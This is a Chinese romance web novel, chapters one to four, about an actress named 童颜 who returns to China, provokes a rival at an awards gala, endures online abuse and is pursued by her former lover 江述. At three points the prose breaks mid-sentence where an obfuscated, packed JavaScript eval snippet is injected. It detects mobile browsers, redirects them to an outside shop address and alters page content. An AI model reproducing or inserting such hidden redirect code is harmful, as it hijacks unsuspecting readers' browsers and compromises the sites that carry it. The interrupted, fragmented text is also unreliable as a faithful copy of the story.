《毒舌怪和小作精》 1. 回国 下午三点，东三环北路燕莎桥附近，连绵不断的车灯汇成红色的河，一辆黑色房车随着车流缓缓向前挪动。 童颜靠躺在第二排的座椅上闭目养神，脸上敷着面膜，耳朵里塞着白色的蓝牙耳机。 经纪人林慧心坐在旁边回微信消息，不时接起电话说几句。 “喂，纪平……我们马上到，最多十五分钟，我知道你后面还有别的艺人，童颜已经在敷面膜了，到了直接就能化。是，我知道……欠你个人情，回头姐请你吃饭……行，就这样。” 挂掉电话，林慧心朝前探身看了看路况，还是堵，她忍不住皱起眉，手指无意识地敲击座椅扶手。 童颜调整椅背坐起来，揭掉面膜丢进垃圾桶，双手在脸上打圈儿按摩，一面看着林慧心说：“淡定，大不了我自己化，我现在化妆可厉害了，不输那些有名气的化妆师。” 林慧心瞥她一眼：“你的技法怎样我不知道，这份儿自信确实不输专业的……脚还疼不疼？头呢？”说着就去试她额头，“没发烧吧？” 童颜原想说没事，眼珠一转，手指顺势揉上了太阳穴。 “头有点疼，别是真发烧了吧？脚脖子也发皱……哎呀，今晚要是表现不好，可不能赖我啊！” 说起来，童颜最近也是点儿背。 在英国皇家戏剧艺术学院留学两年多，临到毕业的时候突然生了场病。 病毒性流感导致的高烧不退，好巧不巧大姨妈也来凑热闹，眼看毕业作品提交deadline越来越近，她不得不拖着病躯拍片子赶进度，等到片子拍完，整个人就剩一口气吊着了。 水米未进地在出租屋里昏睡两天后，被林慧心一通电话薅起来，让她回国参加MTV十二月二十五号的“星芒之夜”颁奖晚会。 林慧心觉得，童颜已经太久没消息了，再不回来就被彻底遗忘了，年底正是各大平台晚会盛典密集举办的时候，此时不露面更待何时，所以早在两个月前，就开始对接她的行程。 童颜明白，林慧心是为自己好，所以虽然嘴上不乐意，行动上却很老实，参加完毕业典礼就开始收拾东西。 在国外住了这么久，大大小小的玩意添置了不少，如今时间紧任务重，该扔的扔该送的送，断舍离了半个屋子，最后还是收拾出两个超大号的行李箱。 紧赶慢赶，终于在晚会举办的前一天，童颜坐上了回北京的飞机。 林慧心安排了新助理田晓君来机场接人，童颜落地后给晓君打电话，说了半天，彼此都不知道对方在什么地方，最后童颜怀着不太好的预感，问了句：“你在哪个机场？” “我就在大兴机场啊姐。”听声音都快哭了。 “……” 童颜在人来人往的首都机场沉默了几秒，拖起两个巨大的行李箱往外走。 倒霉的事总是接二连三，没走几步，听见身后有躁动的人声。 扭头，就看见乌泱泱一大群女孩子，脖子上挂着相机，手里攥着应援棒，正疾速朝前狂奔，边跑边叫着什么名字……没等她回过神，就被人群冲得踉踉跄跄，行李箱摔倒一个，滑跑一个。 混乱中只觉脚踝一股钻心的疼，等人潮过去，她低头一看，脚踝外侧的骨头上一道口子，往外渗着血，不知道是被什么划到的。 童颜怒从心头起，当场就要发作，一抬头，人群已经跑出两丈远了。 视线尽头，一个身穿黑色风衣、头戴鸭舌帽的男人被围在中间。女孩子们举着相机手机、七嘴八舌地跟他说话。 童颜盯着看了一会儿，火气慢慢消失了。 算了，没准这群人里，也有她曾经的粉丝。 拖着行李箱走出机场大厅，到路边打了辆出租车。 下过雪的道路湿滑，车开不快，等跟林慧心碰上头，已经是下午两点半了。 约的化妆师、摄影师都在问几点到，台方在对流程，宣传方在等话题确认，拉拉杂杂一堆事赶在一起，林慧心虽然焦躁，却不至于乱阵脚，见童颜假模假样地装头疼，也知道她是为了缓解自己情绪。 “你上上心，歌词记熟了吗？有提词器也别掉以轻心。还有台步，要是脚疼，就少走动。” 林慧心从包里翻出一个创可贴，撕开包装，贴在童颜脚踝伤处。 “线上彩排到底不比现场……无论如何，今晚的亮相一定要漂亮，敢给我出岔子，你等着我收拾你！” 童颜撇嘴，刚要犟一句，眼角扫到车窗外。 瑰丽酒店门前道路旁排着长长的队伍，恨不得有半条街那么长，瞧这横幅和灯牌，是来应援的粉丝无疑了。 房车顺着队伍往前开，粉丝们凝神盯着车窗，确认车里是不是自家哥哥姐姐。 “天寒地冻的，还来了这么多人？”童颜诧异。 林慧心朝窗外扫了眼，随口道：“天冷，但粉丝的心热啊。这些人里，有八/九成是冲着江述来的，剩下一两成是冲孙艺涵。” 童颜神色一顿，慢慢转回头，看林慧心。 林慧心收起手机，盯着她说：“江述也会参加星芒之夜，你知道吧。” 童颜怔了两秒，转开脸嘟囔：“参加就参加呗，干嘛？” “我要提醒你，他如今红得发紫，金鸡奖最佳男主角、电影圈新晋宠儿、手握数十个代言，粉丝占据内娱半壁江山……扇扇翅膀就能掀起海啸，你最好谨言慎行，别给我惹事。” “我能惹什么事，一向都是事惹我，我才惹回去的好吧！”童颜气呼呼地。 “你知道我想说什么。既然回来了，咱就好好经营形象，不该招惹的人别招惹，别又像三年前一样……” “知道了知道了，我一定时刻警醒，行了吧！” 林慧心知道，童颜的好脾气到头了，再啰嗦就该逆反了。 许久未见，有些东西还是没变多少。 林慧心清楚童颜的怒气临界值，童颜呢，只要是真心为她好，她会听话。 她们之间一向相处得很愉快，所以即便这么久过去，娱乐圈都换了好几茬人，童颜已不再是炙手可热的香饽饽，林慧心还是对她很上心。 瞧她一脸不耐烦地样子，林慧心笑了笑，张开双臂说：“欢迎回来，童颜。” 炸毛的狮子拿了会儿乔，才缓和了神色，回抱住她：“你放心吧，我心里有数。” 房车驶离瑰丽酒店门口，粉丝也收回了视线。 童颜今晚是以表演嘉宾的身份出席的，因为不确定她是否能回国赶上，平台没有正式官宣她，只在文案里提示有神秘嘉宾。 顶着“神秘嘉宾”的名头，童颜连红毯都省了。她庆幸自己躲过一劫，毕竟这个温度坦胸露背走红毯是很要命的。 林慧心却遗憾于童颜少了个亮相的场合。 红毯不走，物料就更要出片。 童颜被林慧心带到提前租好的影棚，化妆、试衣服、拍照，一套流程走完，外面天已经黑了。 一整天只吃了顿简单的飞机餐，童颜饿得前胸贴后背，拖着沉重的礼服走到演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是呀，回来了。”童颜假笑，“你这样的人都能拿最佳女主角，内娱真是越来越不像话了，我看不下去，就回来了。还有你，”她转头看向路人甲，“没人教过你洗手间、化妆间里说话要小心吗？讲坏话被正主听个正着，瞧瞧，多尴尬……你不会是故意跟孙艺涵提我，刺激她犯病的吧？” 几句话说得两个人的脸都黑了。 孙艺涵一记眼刀子刮向身侧，继而转头看向童颜，正要开口，有人敲门进来了。 是林慧心。 “童颜，该走了，下一个就是你。” “这么快？冤家路窄的戏我还没演过瘾呢！”童颜遗憾地耸肩，“孙老师，我们来日方长哦。”说完从鼻腔里哼了一声，拎起裙摆，转身轻快地走了。 休息室的门关上，里面传出“哐当”一声巨响。 “哦吼——”童颜小小地惊了一下。 林慧心瞪她一眼：“你这个脾气啊，真是一点也没变。她怎么你了，就不能先忍一忍，刚回国就又跟她杠上，你等着她使绊子吧。” “忍不了一点！你是没见她刚才那个德行，气人得嘞。最近不是流行‘拒绝精神内耗，有事直接发疯’嘛……反正即使我什么都不做，她也少不了使绊子，就让暴风雨来的更猛烈吧！哎呀，一回国就能见到孙姐，我现在感觉神清气爽，都不紧张了……对了，她旁边那女的谁？” “一个新人，选秀出身的，叫刘梓兮。” 两人一路说着话，走到后台候场区，等了不到一分钟，就听台上主持人cue“神秘嘉宾”出场了。 童颜站在升降梯上，闭上眼深吸一口气，在一场爆炸的花瓣雨中，缓缓睁开了眼。 2. 重逢 林慧心站在舞台一侧的通道里，目不转睛地盯着台上。 童颜一袭黑丝绒曳地长裙，绿色藤蔓在蓬蓬裙摆上肆意攀爬，抹胸上点缀着几朵红玫瑰，发髻高挽，露出修长白皙的脖颈。光束垂直打在舞台中心，她没有佩戴任何首饰，却仿佛一位来自丛林幻境的公主，高贵、神秘。 伴奏响起，童颜举起话筒开始唱歌。 声音起初有细微的颤抖，尽管私下练过无数遍，还是紧张。但林慧心知道，童颜很快会掌控局面。果然，到歌曲第二段时，她的声音已经丝滑得不输原唱了。 场中电子大屏上，童颜的脸上始终带着微微的笑意，眼睛亮得让人无法移开视线，即便是讨厌她的人，也不得不承认她是美的，这种美，带有不讨好众人的距离感，是会让女生潜意识里感到攻击性而不喜的。 林慧心看着这样的童颜，感觉复杂难言。 把童颜签进灿然娱乐时，她也还不是老练的经纪人，二人一路扶持着走到现在，太多辛酸。如今舞台上的童颜，像一丛玫瑰，穿过风暴、洪流、砂石，被摧残得枝叶凋零，几乎死掉，然而经过漫长的蛰伏，她又长出了新的叶芽，以后还会开出繁盛的花。 鼻腔一阵酸楚，林慧心暗笑自己矫情。 微信消息提示不停弹出，她点开一个工作群，宣传的同事发来两个微博热搜链接。 #童颜回国# #童颜神秘嘉宾# 林慧心点进去刷了刷，大部分都是营销号和粉丝发的照片，整体舆论风向是期待的，她稍稍放了心。 舞台上，童颜演唱完毕，被主持人留下采访。 一共有三个问题，都是按台本问的，童颜只要照着准备好的答案回应即可。 然而，总有些状况会脱离人的掌控。 当主持人问出第三个问题“最想和哪位男演员合作”时，镜头切到台下。 大屏幕闪现观众席，紧接着定格了江述的脸——导播开始搞事情了。 与此同时，二楼观众席爆发出尖叫声：“江述——江述——” 一时间，整个演播厅里此起彼伏，全是粉丝的嘶吼，场面之震撼，让一众艺人同行都不得不叹服，童颜更是呆怔在原地，目光下意识去找江述。 嘉宾席到舞台中央颇有点距离，且台下灯光昏暗，除了第一排的影视界大佬之外，不太好分辨哪位艺人坐在什么位置。 然而，童颜被一种诡异的直觉牵引，瞬间锁定了第二排中间的位置。 江述坐在过道边的椅子上，湿润的三七侧背头，一侧发梢自然地垂下，覆盖在额前，鼻梁架一副金边眼镜——应该是平光镜。 童颜看不清他的神情，但她想，大概是面无表情。 他面无表情时，整个人会显得有点严肃，一双充满故事感的眼睛，看着谁，就好像那人狠狠伤害过他。 童颜曾经一度不敢看他的眼睛。 幸好灯光昏暗，看不清他的脸。 也幸好，导播发癫有限，镜头定格了三秒即逝，粉丝的尖叫声也逐渐平息下来。 童颜整理好表情，在主持人半期待、半吃瓜的神色中，微笑回道：“今晚出席的每一位演员都很专业，无论跟谁合作，都是我的荣幸，也希望早日带着好作品跟观众见面。” 虽有小插曲，一切还算顺利。 林慧心刚要松一口气，意想不到的状况，再次发生了。 主持人请童颜稍事休息，就在这时，观众席传来一个清脆洪亮的声音。 “离江述远一点！” 厅里一片哗然，粉丝区甚至有稀稀落落的掌声响起。 主持人表情僵了一下，尴尬地假笑两声，试图缓和气氛：“今天的观众很热情，但要注意秩序哦！来，我们请童颜先去台下休息……” 要是换成别的女艺人，可能也就假装没听到，借坡下驴赶紧走了。 但可惜，今晚来的不是别人，是童颜。 只见她重新举起话筒，对主持人示意有话要说，然后转身正面观众席，朝声音传来的方向说：“刚刚的问题，我想补充一句。其实我最想合作的男演员，是江述。祝大家都能度过一个美好的夜晚，谢谢。” 林慧心大脑一阵眩晕，等不及童颜下台，就拨通了公关部同事的电话。 * 晚会进入高潮，颁出了“年度号召力艺人”和“年度最具商业价值艺人”奖项，都被江述包揽。 获奖致辞说完，主持人采访江述：“刚刚童颜说，最想合作的男演员是江述，对此有什么想回应的吗？” 童颜坐在房车里，拿着手机观看直播。 一片尖叫背景音中，镜头推近江述的脸。 童颜紧紧盯着画面，只见他神色波澜不惊，微微倾身靠近话筒，斟酌了两秒，吐出一句：“知道了。” ……知道了？ 这什么回答。他难道不应该说“期待合作”吗？ 童颜鼓着腮帮子，生气。 一生气就更饿，问林慧心：“能去吃饭了吗？” 林慧心正抱着电脑疯狂敲字，根本顾不上理她。 童颜终于后知后觉地意识到，她刚刚在台上闯了祸，林慧心正在灭火，于是瞬间变得乖巧。 “心姐，你饿吗？我请你吃饭。” “等着。今天还没结束。” “哦，还有我什么事吗？” “有你什么事？”林慧心黑着脸，“来，你自己看看你的事。” 平板电脑拍到她腿上，微博热搜从上往下扒拉，星芒之夜相关的热搜里，童颜占了九个。 #江述童颜同框#爆 #童颜回怼江述粉丝#爆 #童颜表情挑衅#爆 #童颜发癫#热 #星芒之夜导播你是懂吃瓜的#热 #江述童颜氛围感的神#热 #童颜最想合作的演员是江述#热 #童颜熹妃回宫#热 #童颜互联网是有记忆的#新 林慧心揪了一把头发：“看见了吗祖宗？刚回来就爆热搜……吃饭？我吃救心丸就饱了。”说着放下电脑就去翻包。 “也不全是骂我的嘛，你看，有人说我唱歌好听，还有，熹妃回宫这个话题词，我觉得也不错……” 林慧心含了一粒救心丸，正要开口，余光透过车窗瞥到演播厅出口，立刻收住话头，拉着童颜就下车。 “走走，寿浩辉出来了，咱们去见见。” 寿浩辉是这两年跃入大众视野的新锐导演，会拍感情戏，镜头语言绝，也敢用非流量演员，连着播的两部剧豆瓣评分都在8.5以上。 林慧心想让童颜上他的新剧《春天花会开》，可惜他一直在外地勘景，见不着人，发了试镜的片段过去，也还没有回复。 “《春天》这个剧正在接触孙艺涵，本来都谈妥了要进组，不知怎么的，孙艺涵那边突然变卦，拖着不给准话。寿浩辉摊子都支起来了，片方每天烧着钱，拖不起。”林慧心迅速交代完背景，叮嘱童颜，“待会儿你好好说话，态度诚恳点。” 说话功夫，和寿浩辉迎面碰上了。 两边寒暄过后，寿浩辉直奔主题。 “试镜视频我看了，感情处理很有层次，蛮好的。为什么想演这部剧？” 童颜微笑颔首：“谢谢寿导。我很喜欢这个剧本，喜欢女主角身上的憨劲儿和狠劲儿。复出的第一个作品，我希望是让人印象深刻的好作品。” “有把握吗？” 童颜愣了两秒，点头：“有！” “男主角可能不是大咖，接受得了吗？” “没问题。” “什么时候能进组？” “随时。” 寿浩辉点头，对林慧心说：“我马上要飞，咱们机场路上聊聊合作？童颜也准备准备，这两天就得进组。” 童颜和林慧心对视一眼。 林慧心果断回：“可以，让童颜先回去，我送寿导去机场。” 寿浩辉和林慧心走了，童颜原地站了好一会儿才回过神。 顺利的不可思议。 时隔三年，她终于又要进组了，童颜心情有点激动。天太冷了，她紧了紧身上的羽绒服，哆嗦着朝停车处走去。 忽听身后有动静，转头，一群人通过演播通道往外走。 童颜定睛分辨，是江述，他身边围着四五个工作人员。 瞧瞧，大明星这前呼后拥、保镖随行的，再看她，一个人站在冰天雪地里，新助理完美错过了所有环节，已经回家了，艺宣也是从其他团队临时借的，这会儿大概在WIFI信号强的地方移动办公。 真寒酸。 仿佛心有灵犀，江述突然转头看了过来。 他穿着黑色风衣，身形颀长笔挺，站在明暗交界处，神色看不分明，侧脸的轮廓却清晰立体，冷白的肤色衬得地上的雪都黯然。 以前童颜形容他时，用过一个词，硬帅，如今看上去，是不要命的帅了。 童颜身旁有个路灯，她和那根灯杆一起，全无遮挡地暴露在黄色的光里。 有一个瞬间，感觉像干了坏事被抓包的孩子，手足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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走到门边时，秦漫突然停下脚，转身看着江述说：“其实还有最后一个小问题，您刚刚在星芒之夜晚会回应童颜说，‘知道了’，为什么会这么说呢？” “秦主编，这个问题超纲了哦！”李正一边笑着打哈哈，一边按下车门开关，“如果没聊透，咱们下次再约。” 秦曼站在敞开的车门边，假装听不懂李正催她下车的暗示，紧紧盯着江述，期待他开口。 江述的神色好似在回想，又好似在放空，沉默了片刻，说：“不知道。” 若是其他艺人面对这样的问题，给出这样的回答，秦曼会认为他只是拒绝回答，是在敷衍。但看着江述一脸认真的神情，秦曼愣了几秒，觉得他可能真的不知道。 秦曼笑着颔首：“好，多谢。不打扰了，再见。” 送走秦曼，李正关上车门，吩咐司机开车。 “什么人啊！本来就超时了，还有附加题。”李正皱眉吐槽，“一个没什么名气的杂志，前年才创刊的，我本来都拒绝了，你何必费这个精神。” 上周三江述回北京拍广告，在化妆间，当时李正刚拒绝了秦曼的约采，随手把她名片扔在桌上，江述看见问了一嘴，沉吟片刻，让李正安排了这次采访。 李正当时就挺诧异的，但因为临时有事被叫走，后来就忘了问，今天正好解惑：“你认识秦曼？” “以前看过她的采访，很专业。” “喜欢？” 江述抬眼，看李正半吃瓜半打探的神色，就知道他想问的是什么，皱眉：“别瞎联想。前些年拍戏受伤，拄了几天拐，有一次拐摔下楼梯，她帮忙捡上来的。” 江述本不欲解释，但怕李正误会，再扯出什么不必要的麻烦。 “行吧。”李正打开手机回了几条信息，突然想到什么，抬头盯着江述，“童颜的事，我安排后援会去引导粉丝，你千万别下场，就安静待着，别为童颜出头……” “她不需要。” 江述神色不虞，语气冷淡，说完这句话就闭上眼，仰靠在沙发上休息，一副拒绝沟通的姿态。 李正噎了一下，无奈地叹气：“以前的事都过去了。你现在影响太大，牵一发而动全身，做什么决定之前，一定要三思再三思……” 江述沉默不语，仿佛已经睡着了。 李正识趣地闭上了嘴。 * 第二天，童颜睁开眼已经十一点了。 在床上伸了个懒腰，又发了会儿呆，清醒了，打开微信一看，无数条未读消息。 大多是圈里朋友，都在说昨晚的事，童颜顺手回了几个人，往下划拉，视线忽然定住。 最新的一条微信显示凌晨2：43，是江述发的。 他的昵称毫无创意，就是本尊大名，消息只有三个字，不用点开就能看全。 「还疼吗？」 3. 示好 童颜盯着那个蓝天白云飞机的头像，愣了几秒，从床上弹坐起来，掀开被子，看脚踝外侧。 昨天被撞到的地方发青了，睡前抹了药，倒是不怎么疼，伤口也结了痂。 奇怪，江述怎么知道她受伤了？难道是昨晚在台上……不应该啊，礼裙那么长，脚面都盖住了，不会露脚踝。 一个离谱的念头升起来。 童颜缓缓转头，看向床头柜上的药膏。 这是她昨晚到家后收到的，一直以为是林慧心给订的，难道…… 童颜跳下床，跑到门口的垃圾桶边，捡出里面的叮当快药包装袋。 和包装袋钉在一起的购物小票显示，下单人：江**，电话号码，1392****0724，是江述定的？ 可是为什么？又主动跟她示好。 童颜咬了咬唇，忽然想起出国那天，她一个人去机场，登机之前，接到江述的电话。 他很愤怒，两人吵了几句嘴，最后他颓丧又嘶哑地说：“童颜，你够狠。” 她心虚愧疚，到了英国后，经常给江述发信息、打电话，过了很久，两人才终于缓和了关系。 可是后来，联系突然少了。除了昨晚那句“还疼吗”，两人最近一次聊天记录，还停留在五个月前。 之后江述再也没理过她。 昨晚匆匆一面，他跟记忆中不太一样了。 以前众星捧月，现在更是荣耀加身、超群出众了。 怎么的，男顶流对过气女星的友好慰问？ 童颜忽然生气，一把抓起药膏，狠狠扔进了垃圾桶，接着把江述的微信拉进了黑名单，然后打开蓝牙音响，连上音乐播放器，开始收拾行李。 有电话进来，她接起来就喊：“赵浔阳，干嘛？” 那头笑骂一句：“没大没小！开门。” “欸？你来找我了？”童颜走到门口看可视门禁，“姨妈也来了？”说着打开门让两人进来。 童颜自小在姨妈家长大，赵浔阳是她表哥，大她两岁。二人从小一起上学，打打闹闹的，感情很好。后来赵浔阳考上北京医科大学，毕业后进了市第一医院普外科，而童颜就读师范学院，大三时误打误撞进了演艺圈。 “颜颜，怎么回国也不提前说一声，让你哥去机场接你。” 姨妈施秀芳进门，边换鞋边嗔她，赵浔阳手里大包小袋拎了一大堆。 “姨妈——”童颜笑嘻嘻跑过去，一把搂住她。 施秀芳拍拍她手：“打扰你睡觉没有？是不是还在倒时差？” “没有，睡饱了。”童颜圈着姨妈的腰，往客厅沙发走，“姨妈，你长白头发了，是不是被赵浔阳气的啊？ 赵浔阳正在往冰箱塞东西，闻言瞪她：“我气的？我天天白班夜班忙得跟狗一样，回到家让往东不往西，哪儿气人了。谁像你，往国外潇洒一跑就是两年，也不知道回家看看，妈天天挂心得不行，我看这白头发，就是被你愁的……” “别听你哥胡说八道。年纪到了，哪有不长白头发的？倒是你，我早上听邻居家的闺女说起来，才知道你昨晚上电视了。你哥刚下夜班，我就拉着他过来了。”施秀芳端详着童颜的脸，“身体都好吗？” “姨妈放心，我好得很。马上要去外地拍戏，正在收拾行李，本来打算收拾完就回家的。” 施秀芳叹了口气：“怎么一回来就工作？今天就走吗，那我赶紧去给你做饭。”说着就要起身。 童颜忙按住她：“不着急，还没定出发时间。哪能让您一来就做饭，歇着，咱们一会儿出去吃大餐，或者我订外卖。” “我在这，还让你吃外卖，像什么话！”施秀芳边说边指挥赵浔阳，让他去厨房把菜摘了洗了，“来前你姨夫还说，外国人吃的都是面包奶酪，没滋味，让我给你炒几个好菜。” “姨夫好吗？” “他身体都好，就是忙。这几个月在山东做工程，也不常着家。” “对了！我给你们带好东西了哦。”童颜说着就去拖行李箱。 给姨夫带的是手工定制的衬衫，姨妈的是一套腰椎颈椎理疗仪。施秀芳嗔怪她乱花钱，童颜不服气：“这怎么能是乱花钱呢，健康多重要啊！” 赵浔阳从厨房跑出来，看见一双梅西签名的球鞋，激动得当场就要给童颜磕一个。 童颜正在给姨妈试用理疗仪，见状嫌弃地赶走他：“以后请好好给本宫当牛做马。” “娘娘但请吩咐，小的无有不从。” 娘俩听得乐不可支。 闹了一会儿，施秀芳去做饭，娘仨一起热热闹闹地吃了顿大餐。 姨妈走后，童颜接着收拾行李。下午林慧心把行程发了过来，第二天的飞机，剧组在厦门。 * 星芒之夜后第三天，其他明星的热搜话题都下去了，只有童颜还在榜上。 一开始，舆论主要围绕童颜怼江述粉丝，分成了两派讨论：一部分认为她态度直爽，不惯着没礼貌的人，做的对；另一部分觉得她情商低，小牌大耍，蹭江述的热度。 后者的气势稍占上风，但两边尚可一搏。 渐渐地，骂童颜蹭流量的人越来越多，舆论几乎一边倒。很快，童颜出国前的“黑料”被重新翻炒。 “耍大牌”、“霸凌同学”、“法制咖”、“金主包养”、“害江述被网暴自己美美隐身”……铺天盖地的辱骂攻击性言论，童颜粉丝无力抵抗，路人也不敢说话，不然就会被江述的粉丝骂到怀疑人生。 江述是在晚上收了工，才知道童颜正在经历网暴。 新戏即将杀青，这几天有个高潮大场面，为了保证情绪不中断，他没有上网，工作人员也不敢拿这些事来打扰他。 直到他收到林慧心的微信。 「述哥，抱歉打扰。这两天骂童颜的人太多了，她刚回国，无意得罪任何人，星芒之夜那天，也就是情绪一时上头，得罪了你的粉丝，我代她给你道个歉。童颜现在就想好好拍戏，重新出发不易，你看能不能引导一下粉丝，别再闹了。回头等你有时间，我请你吃个饭，叫上童颜，行吗？」 江述打开微博刷了一会儿，表情逐渐凝重。 他给李正打电话：“之前说引导粉丝，做了吗？” “什么？哦童颜那事啊，我交代晨星去对接后援会了，应该做了吧。”李正在开车，找了个地方停下来，打开微博看了看，“靠，一会儿我问问晨星，别是他忘了。” “正哥，我不管你对童颜有什么看法，都不要影响你工作的专业性。我和她之间，不是你想的那样。” 江述说完，两边都沉默着。 认真说起来，李正确实有责任。 一方面，他不想江述再跟童颜扯上关系，毕竟以前的教训还历历在目，如今童颜回来了，眼看江述又要一头栽进去，他不能不忧心。 另外一方面，你说你重新出发不易，谁容易？旁人没有义务帮你披荆斩棘，所以林慧心找他帮忙的时候，他嘴上答应，实际也没太放在心上。 他甚至乐见江述虐粉，毕竟这是固粉的常见手段。 本以为粉丝闹一闹也就过去了，谁能想到，当事人的往昔经历过于精彩，以至如今稍有异动就能掀起一场海啸。 也是挺惨的。 李正叹了口气：“这事儿是我没盯到位，你放心，我这就去跟进。” 挂了电话，江述回复林慧心：「抱歉心姐，已经安排了。」 微信里很多未读消息，他一一扫过去，划到童颜的昵称，点开。 之前的消息她没回复，江述也不介意，直接问：「在哪？」 一个红色叹号提示：“消息已发出，但被对方拒收了”。 江述愣了一下，失笑摇头。 盯着玲娜贝儿的头像看了两分钟，退出聊天界面，点开了朋友圈。 刷了几下就看到林慧心刚发的图片，童颜坐在椅子上看剧本，剧名《春天花会开》。 江述凝神想了想，拨通了寿浩辉的电话。 * 童颜再见到江述，是在元旦前一天。 厦门沙坡尾的旧屋前，她刚拍完一场跟人厮打的戏，蓬头垢面，身上脏兮兮的全是泥，鞋子也掉了一只。 江述穿着棕色羊绒大衣，墨绿色阔腿裤和白色运动鞋，玉树临风、衣冠楚楚地出现在她面前。 甚至还喷了香水，槐花味儿的。 混蛋。 童颜拍了拍身上的泥，穿好鞋子，走到监视器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464626|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁，跟导演打招呼。 不时瞟一眼存在感极强的某个人。 寿浩辉冲工作人员喊了句：“收工！今天辛苦了，江述老师请喝下午茶，大家自取啊！” 众人鼓掌欢呼，有和江述相熟的人过来打招呼，一群人笑着寒暄几句，寿浩辉对江述说：“你等会儿，我去隔壁B组看看，一会儿咱们边吃边聊。” 江述点头应下。 童颜跟寿浩辉挥手作别，往房车的方向走。 走了几步发现江述也跟上来了，童颜停住脚，转身看着他。 “你干嘛跟着我？” “为什么拉黑我？” 他们几乎同时出声。 江述不动声色盯着她，童颜噎了下，四下里看看，工作人员正忙着收拾东西，没人注意这里。 忍不住怼他一句：“我乐意！哪儿那么多为什么？” “拉黑的意思是，以后都不想理我了？”他嘴角牵起，好像在逗弄一只炸毛的猫。 童颜有点儿生气。 她只是一时上头，他老纠结这个做什么？而且，分明是他不理她好吧！ “你到底来干什么？” “找寿导试戏。” “试什么戏？”童颜不解，“我在拍的这剧？可男一号定了，是周子墨，他都拍好多天了，现在就在隔壁组。” 江述神色坦然：“我知道。” “知道你还来？生抢？” “当然不是。我试男三。” “……” 以他如今的咖位，千里迢迢来试一部小制作网剧，还是男三号，给刚走红的新人作配？ 童颜看傻子一样的眼神：“你没事吧？” 江述眼中笑意晕开，整张脸帅的发光了简直，似乎心情很愉悦。 “还好。挺顺利的。” 能不顺利吗？寿浩辉只怕要乐开花了！ “所以到底为什么？”童颜忽然想到一种可能，“不会是因为，我说的那句最想合作……” 片刻的安静里，有难以言传的默契。 江述淡淡回了句：“我乐意，哪儿那么多为什么。” “……” 混蛋！还是这么记仇，一句话都不肯让着她。 这一刻，童颜想起出国前，她有一阵儿跟江述闹脾气，往他的牙膏里挤了很多芥末。 期待着江述气急败坏来质问，结果连着好几天没动静，她还特意去确认了，牙膏还在，里面的芥末没了，所以他肯定尝过味道了，那为什么没反应呢？ 这人，没意思。 相安无事几天后，她在家做芥末虾球。 那段时间她迷上了下厨，抖音里收藏了很多做菜的视频。 虾球炸好了，芥末和沙拉酱拌好了，酱汁浇在虾球上，美滋滋地尝了一个，味道不对。 一秒、两秒……她火速冲到卫生间，抱着马桶干呕，差点把胃呕出来。 怒气冲冲地给江述打电话：“混蛋！！芥末罐里的牙膏是你干的吧？！” 电话那头四平八稳来一句：“礼尚往来，不用客气。” “……” 想至此处，童颜磨了磨牙。 江述神色更愉悦了，嘴角噙着笑，一张脸生动又勾人。 他往前走了两步，离她更近。 童颜忽然紧张起来：“你别过来啊，我可不想刚回来就被人传闲话……”她一面说，一面眼观六路耳听八方，“组里经常有代拍的。” 江述不理她这话，大衣前襟碰到了她毛衣的袖子，太近了，童颜忍不住退了一步，小声冲他发火：“让你不要过来了！” 他总算停住脚，头微微低着，视线直直盯着她的眼，说：“今晚一起跨年。” 不是疑问、商量的语气，而是不容拒绝的陈述句。 童颜又想起星芒之夜那一晚，高高在上的顶流大明星，就那么站着，好像不认识她。哼，红了就这么横是吧！ “没空。”她扭开脸。 “在生我气？”江述弯了弯嘴角，“你好好反思，到底谁才该生气。” 哈！目中无人就罢了，还敢让她反思？！ 童颜抬脚就要上车，却被江述一下抓住了手，不由分说地搂到怀里。 4. 求饶 “童颜，我很想你。”他叹息着说。 童颜挣动了几下，脱不了身，他抱得太紧。温热的鼻息扑在她颈侧，她突然手足无措起来。 “你、你快放开！” 她蓬头垢面的，一身土腥气，自己都忍不了。而且，说不定代拍就藏在哪个角落呢，她的车只能挡住一边。 江述不管不顾，幽幽说了一句：“把我放出来。” 什么放出来，他又不是狗！ 哦，是在说拉黑他那件事。 童颜抿了抿嘴：“你再不松开，我拉黑你一辈子！” 江述稍一迟疑，童颜趁他心神松懈，急忙挣脱开，竖着手掌挡在两人中间。 “你别再来了啊！”左右看了看，说，“我把你放出来就是了……” “现在就放。”他得寸进尺。 童颜张嘴就要犟，触及他威胁的眼神，赶紧说：“行行行，你等着。”从兜里掏出手机，点开微信，把黑名单里的人拖出来，举到他脸前，“可以了吧。” 江述攥住她手腕，又说了一遍：“今晚一起跨年。”语气比刚才软和很多。 童颜还是不依，赌气说了句：“就不！”趁他皱眉时，快速甩开他跑进车里，锁了车门。 回到剧组酒店，洗澡换衣服，刚收拾好，有几个同事来找她，说要一起出去聚聚，童颜犹豫两秒，应下了。 开拍时间还短，大家都不太熟，正好借这个机会social，以后演起来更自在。 他们去了滨北路的长夜音乐酒吧，二层包间，六个人围坐一桌，喝酒闲聊听音乐。 男主周子墨是个爱玩爱闹的性子，这几天跟童颜混熟了，也不拘着。两人玩游戏，比对视，谁先眨眼喝酒，童颜喝了不少。 期间江述发微信，问她在哪。童颜看见了，没回。 谁知过了一会儿，他竟然找来了。 和一桌人打完招呼，他毫不客气地坐到童颜左手边的位置。 斜对面是周子墨。 